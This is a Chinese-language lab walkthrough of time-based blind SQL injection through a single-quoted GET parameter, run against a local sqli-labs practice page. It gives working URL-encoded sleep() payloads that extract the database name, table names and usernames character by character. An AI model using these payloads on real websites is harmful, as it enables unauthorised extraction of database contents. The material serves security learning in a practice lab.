基於時間的GET單引號盲注
0x01愛之初試探
在我們注入了SQL代碼之后,存在以下兩種情況:
- 如果注入的SQL代碼不影響后台[數據庫]的正常功能執行,那么Web應用的頁面顯示正確(原始頁面)。
- 如果注入的SQL代碼影響后台數據庫的正常功能(產生了SQL注入),但是此時Web應用的頁面依舊顯示正常(原因是Web應用程序采取了“重定向”或“屏蔽”措施)。
接下來,學習基於時間型SQL盲注。
我們在這里使用IF(查詢語句,1,sleep(5)),即如果我們的查詢語句為真,那么直接返回結果;如果我們的查詢語句為假,那么過5秒之后返回頁面。所以我們就根據返回頁面的時間長短來判斷我們的查詢語句是否執行正確,即我們的出發點就回到了之前的基於布爾的SQL盲注,也就是構造查詢語句來判斷結果是否為真。
0x02愛之初體驗
步驟一 枚舉出當前數據庫名
先判斷能不能基於時間盲注來展開注入錯誤的語句 等了5秒才返回的 能基於時間的錯誤進行盲注
http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20sleep(5)%20%23
爆當前數據庫民稱 這里我們使用二分法進行
http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E114,%200,sleep(5))%20%23
立刻返回 證明第一個字母大於114
http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E115,%200,sleep(5))%20%23
過了5秒才返回 證明字母小<115 應該是ascii115 s
這里我們假設我們把庫民報出來了 我們要爆表民
0X02爆表名
http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100,%200,sleep(5))%20%23
直接返回大於100
http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E105,%200,sleep(5))%20%23
過了5秒才返回 那么這是錯誤的
101-105之間
這里就不一一舉例了
爆列名 一樣的構造方法
這里來看一下爆字段的語句構造方法
http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E100,%200,sleep(5))%20%23
這里 小編還是想去寫一個腳本
等以后發出來吧
